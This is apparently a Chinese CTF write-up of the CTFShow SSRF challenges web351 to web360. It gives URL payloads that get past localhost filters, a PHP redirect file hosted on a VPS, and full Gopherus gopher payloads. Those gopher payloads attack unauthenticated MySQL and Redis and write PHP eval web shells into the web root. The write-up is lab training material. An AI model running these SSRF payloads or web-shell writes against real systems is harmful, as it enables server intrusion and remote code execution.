前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFShow-SSRF(writeup)

CTFShow-SSRF(writeup)

作者头像
亿人安全
发布2022-12-23 13:49:34
4640
发布2022-12-23 13:49:34
举报
文章被收录于专栏:红蓝对抗红蓝对抗

ctfshow-ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

题目:

web351:

url=127.0.0.1/flag.php

web352:

过滤了localhost和127.0.0

url=http://0/flag.php

url=http://0.0.0.0/flag.php

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://127.1/flag.php

web353:

url=http://0/flag.php

url=http://sudo.cc/flag.php

url=http://127.1/flag.php

web354:

过滤了127 0 1 *

url=http://sudo.cc/flag.php

web355:

限定了协议http或者https

同时主机名长度小于5

url=http://127.1/flag.php

url=http://0/flag.php

web356:

限定了协议http或者https

同时主机名长度小于3

url=http://0/flag.php

web357:

  1. 安装
  2. yum install httpd
  3. yum install php php-devel

vps安装httpd,/var/www/html/下创建ssrf.php

ssrf.php内容:

<?php

header("Location: http://127.0.0.1/flag.php");

?>

注意:不但要安装httpd,还要安装php

[root@VM-4-10-centos ~]# yum install php php-devel

否则题目只会回显vps的ip,不会回显flag.

如下所示:

没有解析ssrf.php

web358:

url=http://ctf.@127.0.0.1/flag.php?show

具体原理:如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#或?,会把show也解析到path中,得不到想要的结果

web359:

题目提示:打无密码的mysql

点击题目的链接,进入如下界面,点击login

进入到check.php

下载gopherus脚本,注意运行环境python2

https://github.com/tarunkant

python2 gopherus.py --exploit mysql

root

代码语言:javascript
复制
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/ssrf.php'

将gopher://127.0.0.1:3306/_后面的字符再进行一次url编码,然后执行

代码语言:javascript
复制
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%73%72%66%2e%70%68%70%27%01%00%00%00%01

查看ssrf.php是否写入成功

body中命令执行查看flag

web360:

题目提示:redis

题目:

利用gopherus脚本生成payload

代码语言:javascript
复制
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher://127.0.0.1:6379/_后面的字符再进行一次url编码,然后url传参,写入shell.php

在shell.php下查看flag的位置

查看flag的内容

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

http://t.csdn.cn/UY81N

参考链接:ctfshow web入门 SSRF(超详解)

https://blog.csdn.net/qq_50589021/article/details/120183781

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ctfshow-ssrf
  • 题目:
    • web351:
      • web352:
        • web353:
          • web354:
            • web355:
              • web356:
                • web357:
                  • web358:
                    • web359:
                      • web360:
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档